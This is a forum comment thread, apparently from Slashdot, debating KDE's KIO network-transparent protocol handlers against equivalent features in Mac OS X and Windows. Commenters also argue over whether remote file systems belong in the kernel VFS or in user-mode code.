Again, what does a standard mean if not even Microsoft follows it? Windows.Forms 1.0 might be standard now, but it'll be replaced by Windows.Forms 2.0 when Longhorn comes out. You'll still have lot's of legacy .NET 1.0 and Win32 Common Controls apps on your desktop, and Office will still use it's own toolkit. You want a standard? Fine: Qt is the standard toolkit. Happy now? Because that has as much meaning as saying that .NET 1.0 is the "standard toolkit" on Windows.

MacOS _should_ have these things.

[pschmied]

I'm a regular MacOS X user. And I love MacOS X, but there are some things that I miss about KDE. I try to follow KDE's progress even though it is not my desktop of choice these days.

The network transparency of KDE is brilliant. I'm not sure where the holdup for OSX is, but I would kill to be able to open a location with cmd-k, fish://user@myhost

I suspect that for Apple to add these bits would require some OS level work as well as some finder work. I hope they'd take that opportunity to update the finder to be a cocoa application. (As a side note, the Finder continues to bother me. My Mac savvy friends and I joke that the Finder, Mail.app, and Quicktime teams are Microsoft moles trying to take Apple down from the inside).

Anyone have any speculation as to why Apple hasn't already done some of the truly nifty network protocols? They've already got a finder view for FTP (which, unfortunately is dog-slow). Still, Apple has proven itself as a very agile software company. They've got a track record for adding features correctly and quickly, but the lack of an SSH handler is baffling to me.

-Peter

Re:MacOS _should_ have these things.

[HawaiianMayan]

You can create a protocol handler for arbitrary URL protocols in Mac OS X. There's nothing stopping anybody, not just Apple, from implementing these features.

My guess as to why it hasn't happened yet is that Mac users/developers have better things to do. Really, these are pretty geeky features. I'd rather use an interface than formulate URLs.

Re:MacOS _should_ have these things.

[cygnusx]

Don't know about the Mac, but Window's shell (explorer) makes it fairly easy to write extensions. There's already one for WebDAV, for example, and a coworker once wrote a windows shell extension for file browsing over ssh, using pscp (or plink, I don't remember) to take care of the underlying ssh work. Surely someone could do the same for the Mac?

Re:MacOS _should_ have these things.

[cygnusx]

> You can create a protocol handler for arbitrary URL protocols

My guess is that he wants the file listing in-place within the Finder, so files can be accessed *in the Finder* transparently over ssh. Breaking out an external application by invoking a protocol handler would (at least under Win32) break the "transparent" experience, I think OS X will behave the same way.

Re:MacOS _should_ have these things.

[Wesley Felter]

Apple is doing this stuff (e.g. you can mount WebDAV servers), but Apple is doing it right by integrating network resources into the real VFS layer so that all applications can access them. KDE's I/O slaves are not real filesystems and are not accessible by all applications.

Re:MacOS _should_ have these things.

[Hanji]

Forget new protocols, I'd really love for things like ftp:// and smb:// and WebDav to work reliably without forcing me to force-restart the Finder every time I try to use one of them ...

Re:MacOS _should_ have these things.

[LEgregius]

you can mount smb, ftp, nfs, and webdav from the finder. I'm not sure what else.

Re:MacOS _should_ have these things.

[LEgregius]

Oh, and I forgot FAT, HFS+, ISO9660, and other such disk images directly. I wish I could browse zip and tar files, though.

Re:MacOS _should_ have these things.

[Jason Hood]

No they arent, and they shouldnt be. There is no reason to create and manage mountpoints for all the different protocols konq can handle. Last time I checked there is no ldap fs type for mounting.

The ioslaves are accesible by any Kapp or app that uses KDE bindings. This is called OS -> WM separation and is very important for a stable, portable system.

ioslaves exist for a reason so that they are fast and portable and keep the system clean. Not every supported protocol can be translated to an fs. The ioslaves _are_ part of the kvm (vfs equiv layer). Incidently this layer is getting a massive overhaul for KDE4 so that it will speak with dbus.

Re:MacOS _should_ have these things.

[Just Some Guy]

but Apple is doing it right by integrating network resources into the real VFS layer so that all applications can access them.

Apple has the privilege of only having one VFS layer. There is no such single layer that KDE could rely upon, since it runs on quite a few distinct operating systems.

I'd love a universal fish:// handler (even more if they added a multi-hop syntax ala Emacs' Tramp so that I could access files as root on a remote system), but I don't Debian and FreeBSD getting together and implementing an identical interface so that I can use it on my two favorite systems.

Re:MacOS _should_ have these things.

[FudgePackinJesus]

KDE's I/O slaves are not real filesystems and are not accessible by all applications.

Somewhere the faint cry of agreement from the three HURD developers is heard.

Re:MacOS _should_ have these things.

[Guy Harris]

Apple is doing this stuff (e.g. you can mount WebDAV servers), but Apple is doing it right by integrating network resources into the real VFS layer so that all applications can access them.

Yup. (Are smb: URLs in Konqueror, on OSes with an SMB client VFS, handled by a userland SMB client IOSlave, or handled by mounting the file system and accessing it through standard UN*X APIs?)

One problem with doing it in the VFS layer, though, is that you might need to stuff a VFS into the kernel. For some protocols, you might be able to use a user-mode NFS server (which is sort of the "standard" way to do a user-mode file system in most UN*Xes) instead; I don't know whether all of the "remote file access over protocols not really intended for use as remote file access protocols" file systems could be made to work that way or not. If not, it might be nice if there were some other hook into which user-mode daemons to support those protocols could be plugged, so that a kernel-mode VFS stub to talk to the daemon doesn't have to be written.

Re:MacOS _should_ have these things.

[Anonymous Coward]

I hope they'd take that opportunity to update the finder to be a cocoa application.

I think you've made the mistake that a lot of people make, which is in thinking that Carbon is a depreciated or second-rate API. It's not. Apple considers Carbon to equally supported as Cocoa. It doesn't need to be 'updated'.

Re:MacOS _should_ have these things.

[pjt33]

Shame you can't mount ftp as read-write, or sftp at all. I'm hoping that's something they're working on.

Re:MacOS _should_ have these things.

[Anonymous Coward]

This works great until your try to write a batchfile and realize that you can't mount a lettered drive for your fake filesystem.

Re:MacOS _should_ have these things.

[Mornelithe]

Well, technically there is a VFS layer in the kernel, that abstracts the idea of a filesystem away from the implementation. So you use all the same calls for accessing ext2, reiserfs and smbfs.

In the big reiser4 flamewar on the kernel mailing list, there was talk of extending the Linux vfs (where the stuff belongs, rather than in any specific filesystem) with file-as-directory stuff and so on, which could help with the browsing zip files and stuff. There's a lot of resistance to that kind of thing, though.

It's not so much an issue of whether it could be done in the kernel; it's a question of whether the vocal people involved will let it happen, and that's not likely right now.

Some of the remote mounting could probably be done today (lufs? autofs? not sure really), but it probably wouldn't be as clean as it works out in KDE.

Re:MacOS _should_ have these things.

[Some Dumbass...]

Apple is doing this stuff (e.g. you can mount WebDAV servers), but Apple is doing it right by integrating network resources into the real VFS layer so that all applications can access them. KDE's I/O slaves are not real filesystems and are not accessible by all applications.

So then what Apple's doing is like LUFS?

Remember folks, KDE is not a whole OS, it's just a frontend. Apples and oranges, and all that.

Re:MacOS _should_ have these things.

[Guy Harris]

Well, technically there is a VFS layer in the kernel, that abstracts the idea of a filesystem away from the implementation. So you use all the same calls for accessing ext2, reiserfs and smbfs.

Yes, I know Linux has that sort of thing, just as {Free,Net,Open}BSD do, and just as OS X does, and just as a bunch of other UN*Xes do, going all the way back at least as far as SunOS 2.0 (or "Sun UNIX 4.2BSD Release 2.0" or whatever it called itself back then).

In the big reiser4 flamewar on the kernel mailing list, there was talk of extending the Linux vfs (where the stuff belongs, rather than in any specific filesystem) with file-as-directory stuff and so on, which could help with the browsing zip files and stuff.

What "stuff" are you saying belongs there? I'm not convinced that "file-as-directory stuff", if by that you mean something that lets you look at a tarball or a zipball or... as a directory showing the files and directories in the *ball, belongs in the VFS layer.

Something that lets you mount a *ball as a file system, with the contents of the *ball as the contents of the file system, might be, but hooks to allow such a thing, and stuff that lets you look inside *balls (and do a bunch of other things as well), are available for Linux, so perhaps all that's needed in the kernel is FUSE (if AVFS is usermode code that plugs into FUSE).

I haven't looked at the webdavfs kext in Darwin 7.4 to see if it could be used to talk to usermode daemons other than the webdavfs daemon, so I don't know whether OS X already has something that could do the same as FUSE.

Some of the remote mounting could probably be done today (lufs? autofs? not sure really),

lufs or FUSE, probably, unless autofs isn't specialized towards talking to a user-mode automounter daemon.

but it probably wouldn't be as clean as it works out in KDE.

Why not? If it's done below the VFS layer, it's definitely cleaner in one sense - anything that ultimately uses open/close/read/write/etc. can use it. It might not be as clean in the sense that you wouldn't just be able to say ftp://ftp.foobar.org/pub/current-release.tar.gz to access the file in question, but if you couple it with something that lets you register a mount helper for a URI scheme (so you can find the appropriate code to handle an SMB mount for smb://hostname/..., an NFS mount for nfs://hostname/..., and so on), something along the lines of what's done in KDE could be done in a wrapper I/O library.

It's not as clean in the portability sense, as you'd have to worry about different "user-mode file system" frameworks on different OSes (even if the framework you use is the NFS client, there are probably different ways of doing setting up a user-mode NFS server on different OSes) and different ways of doing mounts of different file system types, but it's arguably cleaner from the end-user standpoint.

Re:MacOS _should_ have these things.

[geg81]

but Apple is doing it right by integrating network resources into the real VFS layer so that all applications can access them.

If you mean the kernel VFS layer, then Apple is not doing it right: this sort of functionality does not belong in the kernel. And Apple has not even managed to make the Carbon and Cocoa views of the world entirely consistent.

KDE's I/O slaves are not real filesystems and are not accessible by all applications.

True, and that is bad. But there is a middle ground between KDE's piecemeal approach and Apple's kernel bloat.

Re:MacOS _should_ have these things.

[Guy Harris]

If you mean the kernel VFS layer, then Apple is not doing it right: this sort of functionality does not belong in the kernel.

The only part that's in the kernel for FTP is the NFS client (which is useful for more than talking to a user-mode NFS server/FTP client program) and a small "stub" file system for WebDAV that talks to a user-mode WebDAV client.

Re:MacOS _should_ have these things.

[Wesley Felter]

Remember folks, KDE is not a whole OS, it's just a frontend. Apples and oranges, and all that.

With an attitude like that, I think KDE is doomed (compared to vertically integrated OSes like OS X, Windows, and JDS). The user just wants to install SUSE (for example) and have it work; users don't care that Linux and KDE are separate fiefdoms.

Re:MacOS _should_ have these things.

[Mornelithe]

The user just wants to install SUSE (for example) and have it work; users don't care that Linux and KDE are separate fiefdoms.

Good. If they just install SuSE, then it will all work, because they'll be using all KDE apps.

Now why is KDE doomed?

Re:MacOS _should_ have these things.

[mikefe]

Now imagine if those KIO slaves were still in userspace but talking to the kernel VFS.

There are projects to make userspace drivers for hardware, and can be used for network protocols also.

True, not everything will provide full filesystem semantics, but many will give the basic (directory, file, copy, move, etc) operations that most people want.

Re:MacOS _should_ have these things.

[geg81]

and a small "stub" file system for WebDAV that talks to a user-mode WebDAV client.

I don't believe that any remote file system should go through kernel system calls; that raises security concerns that simply need not be raised in the first place, and it has unnecessary performance costs. WebDAV can be implemented as a library, but it can still be made to look as if it's part of the file system namespace with a few small hooks in the standard C library. All that needs to be done is to standardize those hooks. The few software systems that make direct kernel calls have to deal with it.

The only part that's in the kernel for FTP is the NFS client (which is useful for more than talking to a user-mode NFS server/FTP client program)

NFS wasn't designed for this sort of thing, so even if one believes that the right way of implementing FTP and WebDAV file systems is with a kernel stub and a user mode server, using NFS just can't be the right choice.

Re:MacOS _should_ have these things.

[Guy Harris]

I don't believe that any remote file system should go through kernel system calls; that raises security concerns that simply need not be raised in the first place, and it has unnecessary performance costs.

I.e., the kernel NFS client implementations in (SunOS,Digital UNIX, AIX, HP-UX, Linux, FreeBSD, NetBSD, OpenBSD, OS X, etc., etc., etc.} should be removed, as should smbfs in {Linux, FreeBSD, NetBSD, OS X} and cifsfs in Linux, as well as nwfs in {Linux, whatever BSDs have it} and afs in {OS X, Linux and/or BSDs if they have it}? (I'm not saying that shouldn't be done, but that is a consequence of saying that you "don't believe that any remote file system should go through kernel system calls".)

NFS wasn't designed for this sort of thing, so even if one believes that the right way of implementing FTP and WebDAV file systems is with a kernel stub and a user mode server, using NFS just can't be the right choice.

I didn't say it was the right choice (for example, unless you're using NFSv4, you don't get open and close notifications, making it harder to implement a read/write file system if the protocol being used only supports whole-file updates - you don't know when a file has been completely written out and thus ready to be pushed back), but it is a choice that avoids making any kernel changes, if, for whatever reason, you want to or have to avoid doing so.

Re:MacOS _should_ have these things.

[Mornelithe]

I apologize. "Clean" is a pretty ambiguous word. I suppose what I mean is transparent and automatic.

For example, "cd ftp://ftp.foo.org/pub" should automatically mount the ftp server appropriately. "cd foo.iso" should automatically mount the cd image and let me see its contents.

I realize that all of this is possible in Linux today, but it's not automatic. KDE makes those sorts of things automatic, and it can be a real boon. I think an analogy is to cd-roms. Sure, you can access cds from Linux, but you need to insert it into the drive and mount it manually. Now with HAL and gnome volume manager, you can insert a cd and it will auto-mount and pop up a window, and unmounting and ejecting a cd is as simple as clicking a button in a context menu.

It's not that mounting a gmail account isn't possible at the filesystem level, it's that you can't just browse to it on the fly. You have to set it up yourself. KDE's ioslaves go a long way towards making such things automatic and transparent, which is what you need for them to be useful for everyday use.

File-as-directory semantics make some of this stuff easier when working at the filesystem level. For example, suppose you have some sort of automounting daemon. Now I do 'cd foo.tar.gz'. Now, your daemon sees that it's a tarball, so it needs to mount a filesystem appropriately. Where do you mount it? I suppose you could put it somewhere like /mnt/dynamic/0001/ or whatever naming scheme you want to come up with, but that's messy, and you still need to tell cd that what it wants is now "/mnt/dynamic/0001/" instead of "/foo/bar/foo.tar.gz/". Isn't it easier to make foo.tar.gz both a file and a directory, and mount the new filesystem there? (Note: with file-as-directory semantics, you can do other interesting stuff, like metadata-as-files, so the actual path would probably be more like "/foo/bar/foo.tar.gz/content/" but the idea is the same.)

I don't doubt that some level of this functionality is currently possible in Linux, and that this sort of functionality should ultimately end up at the filesystem level (although convincing all the higher-ups of that may be a challenge). But currently it's not possible to do all this as transparently as KDE with ioslaves, and without that transparency, it's much less useful.

Re:MacOS _should_ have these things.

[justsomebody]

Apple is doing this stuff (e.g. you can mount WebDAV servers)

Obviously you haven't tried to use this. If you would you would be imarassed to say that. Webdav doesn't work as it should on OSX. Ok, it might work with some Apple Webdav server, but other servers and OSX just don't go together

Re:MacOS _should_ have these things.

[geg81]

I.e., the kernel NFS client implementations in (SunOS,Digital UNIX, AIX, HP-UX, Linux, FreeBSD, NetBSD, OpenBSD, OS X, etc., etc., etc.} should be removed, as should smbfs in {Linux, FreeBSD, NetBSD, OS X} and cifsfs in Linux, as well as nwfs in {Linux, whatever BSDs have it} and afs in {OS X, Linux and/or BSDs if they have it}? (I'm not saying that shouldn't be done, but that is a consequence of saying that you "don't believe that any remote file system should go through kernel system calls".)

Yes, that's basically what I'm saying. Those systems were designed for different environments and under different assumptions. For example, NFS used to assume that both the kernel and the network could be trusted (it's gotten a bit better since, but its hard to change it completely).

They're also circumventing well-understood and simple user-mode restrictions. AFS's caching mechanisms, for example, operate outside the usual user-mode restrictions and quotas and hence let multiple users cause each other problems that would be prevented for other file accesses. Or take NFS: it has to have special hacks to disable some file system functionality (e.g., setuid) because remote file systems can't be trusted. If your file system is implemented completely in user code, you don't have to worry about any of that: each user running it automatically can do only whatever he could do already. Remote executable bit? The user can download it, chmod it, and run it, if he likes. UIDs and user names? The user can do whatever he likes.

And think of the messes it creates in the kernel: the kernel now needs to know about key management, cryptography, remote user id mappings, new failure modes on file accesses, and lots of other stuff. What functionality are we getting back for all those headaches by putting VFS or even VFS hooks in the kernel?

but it is a choice that avoids making any kernel changes, if, for whatever reason, you want to or have to avoid doing so.

Well, I think it is also a problem that kernels are so hard modify. But maybe one should be thankful in this instance...

Re:MacOS _should_ have these things.

[julesh]

If you mean the kernel VFS layer, then Apple is not doing it right

OSX is a microkernel. While I'm not aware of the actual implementation details, this _should_ mean that file systems are implemented by server processes running in userspace talking to the kernel through IPC primitives.

Re:MacOS _should_ have these things.

[ocelotbob]

OS X is a single FreeBSD/NetBSD hybrid OS running on a microkernel. For all intents and purposes, it's a macrokernel with a few realtime modifications, thus filesystems are implemented through standard kernel modules.

Re:MacOS _should_ have these things.

[Guy Harris]

For example, "cd ftp://ftp.foo.org/pub" should automatically mount the ftp server appropriately.

...although it'd change pathname semantics in an incompatible fashion; perhaps it's unlikely that the current directory has a directory in it named "ftp:", but:

$ cd ftp://ftp.foo.org/pub
$ ls
hello

but those are all just ordinary files.

If you're willing to put up with a syntax other than URL syntax, /ftp/ftp.foo.org/pub could be done, with the right type of file system mounted on /ftp - and /http, and so on.

Or perhaps violating POSIX semantics in this case would be unlikely enough to cause real-world problems that you could get away with it - or would be "optional" in the sense that only if a particular bit of kernel code (probably acting as a gateway to a user-mode FTP/HTTP/etc. client that dos all the heavy lifting) was enabled or "mounted" would the pathname parser special case {ftp,http,...}://.

Isn't it easier to make foo.tar.gz both a file and a directory, and mount the new filesystem there?

Yes (although, as you note, it'd probably be done a little differently with metadata-as-files - an idea I've seen suggested elsewhere as well).

Re:MacOS _should_ have these things.

[Guy Harris]

Yes, that's basically what I'm saying.

So you're also saying either that

1. page fault handling should be able to use user-mode code or
2. you should not be allowed to mmap() files or do demand-paged execution on remote file systems.

For example, NFS used to assume that both the kernel and the network could be trusted (it's gotten a bit better since, but its hard to change it completely).

Unless by "trusted" you're referring to not getting packets-of-death sent to you (causing kernel buffer overflows and the like), that's not an obvious reason why it shouldn't be in the kernel. If you're referring to trusting credentials, that'd be an issue regardless of whether the NFS client (or server) is running in user mode or kernel mode.

Or take NFS: it has to have special hacks to disable some file system functionality (e.g., setuid) because remote file systems can't be trusted.

That's not an NFS-specific issue - it's an issue for all "removable media" in the sense of "media not necessarily produced solely by this machine".

And think of the messes it creates in the kernel: the kernel now needs to know about key management, cryptography, remote user id mappings, new failure modes on file accesses, and lots of other stuff.

The cryptography and key management can be handled in user-mode helper daemons (unless, by the reference to "VFS hooks", you're considering those user-mode helper daemons to be, in effect, parts of the kernel). I'm not sure why the new failure modes are a huge problem - ETIMEDOUT isn't that much different from EIO.

Re:MacOS _should_ have these things.

[geg81]

you should not be allowed to mmap() files or do demand-paged execution on remote file systems.

Correct. Both could be emulated in user code if you really wanted to, but neither makes a lot of sense anymore to begin with (if it ever did).

page fault handling should be able to use user-mode code or

Providing hooks for that is generally a good idea anyway; for data, I'm pretty sure you can do it already. For code, I'm not quite sure.

Unless by "trusted" you're referring to not getting packets-of-death sent to you (causing kernel buffer overflows and the like), that's not an obvious reason why it shouldn't be in the kernel.

I'm just arguing that there used to be a reason for NFS to be in the kernel and that reason is gone. These days, a remote NFS server has no reason to treat a user-mode NFS client any worse than a kernel-mode NFS client.

So, what reason remains to keep NFS in the kernel then?

That's not an NFS-specific issue - it's an issue for all "removable media" in the sense of "media not necessarily produced solely by this machine".

Well, there are two kinds of removable media: those produced solely by/for this machine, and those that get carried around. Arguably, it makes sense to handle the latter in user code as well, for the same reasons.

The cryptography and key management can be handled in user-mode helper

Some cryptographic and key management code has to be in the kernel for performance reasons, if the rest of the file system lives there.

I'm not sure why the new failure modes are a huge problem - ETIMEDOUT isn't that much different from EIO.

EIO is a rare occurrence and neither kernels nor applications generally handle it very well. Timeouts, on the other hand, are a regular occurrence with protocols like WebDAV.

Re:MacOS _should_ have these things.

[cygnusx]

Exposing _anything_ as a "lettered" drive on Win32 is not trivial, but it isn't rocket science either.

Pretty slick

[Boarder2]

I thought this was pretty boring until I read this part:

Being able to do all of these things from a web browser is definitely a nice parlor trick, but in reality it's not a very easy way to use a computer. The real power of these protocol handlers is unleashed when they're used within various KDE applications. Any of these protocols can be used from the KDE file dialog, allowing files to be opened from or saved to any protocol!

I must say, as much as I don't really like KDE, that's really slick, and potentially very useful. Nice job guys.

(I'll even withold bashing and pro-gnome comments for the sake of sanity)

Re:Pretty slick

[XO]

Much like how PHP can open a URL as a file.

Of course, the serious problem with that, is that you can't use the browser from within the KDE file dialog, so you would have to open a seperate browser, find your URL, then copy and paste it into the file dialog box, if you don't know the URL from memory of what you're trying to read.

Something more useful for this type of thing might be the ability to use ftp://user@host/blah/blah/blah to WRITE files.

On the other hand, it's still a farking awkward way to use a GUI.

Re:Pretty slick

[cozziewozzie]

Something more useful for this type of thing might be the ability to use ftp://user@host/blah/blah/blah to WRITE files.

I might not understand what you're trying to say, but that's the whole point of kioslaves. You simply type ftp://user@host/blah/blah into any KDE file save dialog and KDE does the rest for you.

Re:Pretty slick

[otis wildflower]

Being able to do all of these things from a web browser is definitely a nice parlor trick, but in reality it's not a very easy way to use a computer. The real power of these protocol handlers is unleashed when they're used within various KDE applications. Any of these protocols can be used from the KDE file dialog, allowing files to be opened from or saved to any protocol!

I must say, as much as I don't really like KDE, that's really slick, and potentially very useful. Nice job guys.

BTW, if you have the 'run' CLI (Application Launcher) in your kicker bar, you can type all that stuff there, as well as konqueror shortcuts.

So, instead of clicking on a konqi browser, going to google's image site, typing in search params and hitting submit, you can type the following into your run bar:

ggi:donkey porn

hit enter and a konqi browser pops up with the search loading.

or, instead of opening a shell and typing 'man find', go into the run bar and type:

man:/find

and you get a konqi browser that loads and prettifies the nroff manpages, including linking to any other specified manpages.

Hell, a konqi kicker bar doesn't need app icons at all, just a K menu, Application Launcher, and all the other toys (like the RSS KNewsTicker, clock, X display res thingy, kalendar, kgpg, kwallet, etc)..

Re:Pretty slick

[Anonymous Coward]

> Something more useful for this type of thing
> might be the ability to use
> ftp://user@host/blah/blah/blah to WRITE files.

That's the whole point: You can do that in any file box in KDE. For instance, if I wanted to save a copy of this page, I go up to Location -> Save As... then a box comes up and I can type in sftp://foo@host/home/foo/saved-pages/ and save it directly to the remote host.

Additionally, there's a little bookmark icon, so you can bookmark directories/sftp sites/etc. KDE is frighteningly slick when it comes to integration...

Re:Pretty slick

[Anonymous Coward]

Tell me about it. This last week I have been working from abroad, connecting directly to the server through ssh but, for some reason, it has been VERY slow, FTp wasn't working, so today I installed KDE and used kate with fish://

Finally! I can go back to work :)

Re:Pretty slick

[be-fan]

Um, you *can* use the browser from within the KDE file dialog. Eg, if you want to open something from your ssh account, you just enter "fish://myself@somesite.com", and it'll open up the remote directory as a directory in the file dialog.

Re:Pretty slick

[Too Much Noise]

Of course, the serious problem with that, is that you can't use the browser from within the KDE file dialog, so you would have to open a seperate browser, find your URL, then copy and paste it into the file dialog box, if you don't know the URL from memory of what you're trying to read.

What are you talking about? I can do "fish://ssh_alias_for_some_server"[*] in the directory edit field, press Enter, get a nice dialog for password, browse to the file I need in the Open dialog and open it.

[*] ssh host alias specified in .ssh/config - how's that for user-friendly browsing?

Re:Pretty slick

[Taladar]

Which way is simpler for support of a web company?
To tell the customer how to install a ftp client, enter the correct information (like Host, Port, Username...) in complex dialogs and describe how to upload files or to simply tell the customer to type the URL ftp://user@host/blah/blah in his File->Save Dialog?

Re:Pretty slick

[XO]

Right.

In the second part of my message, I was expanding upon the nice things of that sort of thing (which reminds me sometime, I need to setup my system so I can actually make use of some of this sort of thing)..

In the first part, though, I'm referring more to web-based services, like I could go and open up some JPG or MID or MP3 or even a rtsp://realmediaplayer.url or whatever those are.. because the file open box isn't going to help me find anything that's referred to on a web server.

Re:Pretty slick

[troels]

In the first part, though, I'm referring more to web-based services, like I could go and open up some JPG or MID or MP3 or even a rtsp://realmediaplayer.url or whatever those are.. because the file open box isn't going to help me find anything that's referred to on a web server.

Try this, find the thing you want to open in a browser, then drag and drop the object to the location field in the open dialog. (might work just d'n'd'ing it directly to the program) Is it perfect? No, if the image you drag is also a link, it will paste the url of the link instead of the iamge. Alterntively just right click on it in your browser and choose open with.

Re:Pretty slick

[madstork2000]

It's this feature along that finally allowed me to switch to Quanta, now all my web development is done right online. So I don't ever have to worry about uploading and accidently overwriting with old versions or even rsyncing the development directories. It has been great.

It also allows me to instantly update any site at the clients whims if need be. I do maintain seperate "offline" backups, And also incremental snapshots is as easy as dragging a remote folder in Konq, to a local directory.

The other cool thing about these in combined with Konq, you can bookmark any of these, and have different "browsing" profiles. So for example each project has a profile with a single window with 4 panes, on the left is the my local "library" directory on the right is teh largest pane, a "preview" of the site, is a smaller pane with a directory listing of the remote directory, next to that is a directory listing of the remote computer. Combined with tabs and the intergrated konsole, it puts a ton of info at my finger tips. In a way its like the whole desktop environment is one big IDE.

I switched from gnome a couple of years ago, and check back every so often. I have not yet found an easy way to get that much info/resources, in that organized a fashion, displayed at my finger tips. I am not saying its not possible, I just have never figured out how.

I cannot imagine anything in the Windows world is remotely close, other than the KDE-Windows port :) Though I could be wrong on that too.

Re:Pretty slick

[JamesTRexx]

or, instead of opening a shell and typing 'man find', go into the run bar and type:
man:/find

Am I the only one who got the idea that this was the start of a bar joke?

Windows has had since since at least 98SE

[Anonymous Coward]

MS has had this ability to define protocol handlers and binding them to special applications since at least 98SE where I first used it for a custom print application. In fact I think the format and concept is a Internet RFC somewhere.

Doing it in Windows was as simple as deffing two registry keys.

Now KDE has made good by adding more handlers, but it's still applications that are being called. I can easily define a notepad:/c|/test.txt handler. Nothing special.

Re:Windows has had since since at least 98SE

[Anonymous Coward]

Of course so can all of the internet script kiddies and other nefarious characters. But your point is well taken, ease of use and extensibility _should_ count for something.

Re:Windows has had since since at least 98SE

[Zardus]

But can you do stuff like opening notepad:/c|/test.txt in, say, Word, after defining that handler? And can you save to notepad:/c|/test.txt? That's what this seems to allow in KDE.

That functionality could very well be in Windows. I have no idea.

Re:Windows has had since since at least 98SE

[be-fan]

That's not really the same thing. KIO protocol handlers allow KDE apps to understand new types of filesystems. So you can define a module that allows any KDE app to transparently have access to a "gmail drive." Can you do that in Windows, without any changes to applications?

Re:Windows has had since since at least 98SE

[spectecjr]

That's not really the same thing. KIO protocol handlers allow KDE apps to understand new types of filesystems. So you can define a module that allows any KDE app to transparently have access to a "gmail drive." Can you do that in Windows, without any changes to applications?


Yes. That's what Monikers in COM are for.

Re:Windows has had since since at least 98SE

[be-fan]

Monikers don't appear to do the same thing. For example, I can't find any directory listing functions in the Moniker API. Could you implement KIO's ability to browse SSH accounts using the Moniker API?

In any case, it's not the access that's in question here. It's the fact that all KDE apps use KIO, so your entire desktop is network transparent. Most Windows apps don't appear to use the Moniker API to access files, so you can't just open a remote ssh directory in MS Word and expect it to work.

Re:Windows has had since since at least 98SE

[spectecjr]

Monikers don't appear to do the same thing. For example, I can't find any directory listing functions in the Moniker API. Could you implement KIO's ability to browse SSH accounts using the Moniker API?

This is what's called a composite Moniker.

In any case, it's not the access that's in question here. It's the fact that all KDE apps use KIO, so your entire desktop is network transparent. Most Windows apps don't appear to use the Moniker API to access files, so you can't just open a remote ssh directory in MS Word and expect it to work.

Yes, you can. Most windows apps use the Explorer Shell to handle their open file dialogs (unless some raving lunatic rolled their own open file dialog from scratch - which happens now and then), and the shell uses the moniker API. So if you had an SSH handler, you could open a file from MS Word just by entering ssh://...whatever...

Try it with ftp://, I mean, instead of just claiming that it doesn't work when it does.

Re:Windows has had since since at least 98SE

[be-fan]

Well, you learn something new ever day. I'm surprised, though, why doesn't anybody actually use this functionality? Why don't they have protocol handlers for more protocols?

Re:Windows has had since since at least 98SE

[spectecjr]

Well, you learn something new ever day. I'm surprised, though, why doesn't anybody actually use this functionality? Why don't they have protocol handlers for more protocols?

Well, which ones are you interested in? The only one I can think of that would be missing is ssh, which just isn't used that often in the Windows world.

Remember this next time

[Anonymous Coward]

a mac OSX zealot sais that 'open source has no innovation and just steals stuff from OSX/Windows'. There is tremendous innovation in open source. So much that users don't have time to explore.

But OSX has Aqua theme. Right.

Re:Remember this next time

[otis wildflower]

But OSX has Aqua theme.

So does KDE. In fact, it's better, since you can easily change the jelly color, and the tint of the metal (if you prefer metal).

In Baghira, I have 14k-gold tint metal and red jelly, so I have a nice 70's pimp LED watch motif.

Also, the konqueror shortcut thing is teh sh33t. I've added a few to my own install...

imdb:
gentoo:
emerge:
ebay:
wp:
wikipedia:

gotta love it...

Re:Remember this next time

[DeepHurtn!]

This is getting offtopic, but I gotta agree with you. The Konq shortcut ability fucking *rocks*. I secretly scoff at my friends who actually have to go to Google's or Wikipedia's main page in order to carry out a search now.

Re:Remember this next time

[toddestan]

This is getting offtopic, but I gotta agree with you. The Konq shortcut ability fucking *rocks*. I secretly scoff at my friends who actually have to go to Google's or Wikipedia's main page in order to carry out a search now.

This is getting really offtopic, but where did that idea come from? The closed-source Opera browser!

OS X has a long way to go to catch up?

[ZackSchil]

Last time I checked, you could have any application take control of any protocol handler in OS X, even ones you've made up yourself, by simply adding a child to an array in an XML file located in the app's package. This actually caused the problem where a virus could auto-download a file to the user's hard drive and run the program via a url accessing that protocol to launch the app without the user's knowledge. Apple fixed this by making a dialog coming up the first time a file or URL accesses and app but I still think it was a dumb idea to link the internet and local applications in such an insecure way.

How about a box with the url, the app being called, "Allow" and "Deny" buttons and a checkbox to make the setting stick? Even then it's a bad idea. All it takes is one dumb app to compromise your system at user level. Launching these apps with guest permissions? Does KDE do these things? Why brag about such a dumb feature?

useless protocols?

[JBdH]

I don't get why it is useful to be able to type devices:// or whatever. For some of these protocols the ramifications are totally unclear: if i'd type pop3://myserver/mymailbox would that actually download my messages and effectively erase them from the server? The useful protocols are covered in Win(XP) very well, including the most useful (not mentioned in the article) : webdav over https.

Re:useless protocols?

[Hooded One]

Staikos sort of hinted at this in the article when he mentioned that pop3:/ isn't terribly useful in a web browser and is more designed for internal use. You can use pop3:/ for easy inclusion of POP support in an app you're writing. Sure, you could use a POP library directly, but the point of abstraction layers like this is to make things easier and more consistent.

The key advantage of KDE's IOSlaves over protocol handlers in Windows is that in KDE they are transparent and available to every application. This is not the case in Windows or OSX. Gnome-VFS does have this advantage as well, but is nowhere near as extensive.

Re:useless protocols?

[spectecjr]

The key advantage of KDE's IOSlaves over protocol handlers in Windows is that in KDE they are transparent and available to every application. This is not the case in Windows or OSX. Gnome-VFS does have this advantage as well, but is nowhere near as extensive.

Wrong. Protocol handlers are available to every application. You just need to know what COM is.

Re:useless protocols?

[Jason Hood]

To answer your question, if you pop3:// somewhere it doesnt download anything automatically. It simply lets you browse the folders on your pop3 server. If you want you can drag and drop messages to your desktop.

The real power lies in the webdav, imap, ftp, fish, lan, smb and ldap ioslaves (and their ssl counterparts). These have been present since KDE 3.0 (18 months).

Re:useless protocols?

[Hooded One]

Hmm... you're right. I wasn't thinking, and everything I would have described as "universally available" would more accurately go in with "trasnparent." Still, that transparency is pretty darn useful.

Those who don't use KDE ...

[Anonymous Coward]

... are doomed to reinvent it!

Crackhead of the year

[Anonymous Coward]

"Microsoft Windows and Mac OS X have a long way to go to catch up with the robust, transparent functionality that KDE has provided since version 2.0."

Now I understand why KDE is a sinking ship. Its developers have been too stupid to look farther than their own backyards.

You on DOPE, sonny?

Re:Crackhead of the year

[be-fan]

Reading comprehension ain't your strong-suit, is it? With regards to network-transparency, Windows and Mac *does* have a long way to go. Window's FTP functionality barely works. Meanwhile, I regularly use KDE's network transparency to work with my university account over SSH. I can just save directly to a virtual SSH drive, instead of saving on disk, then transferring, or e-mailing it to myself or whatever.

Re:Crackhead of the year

[eobanb]

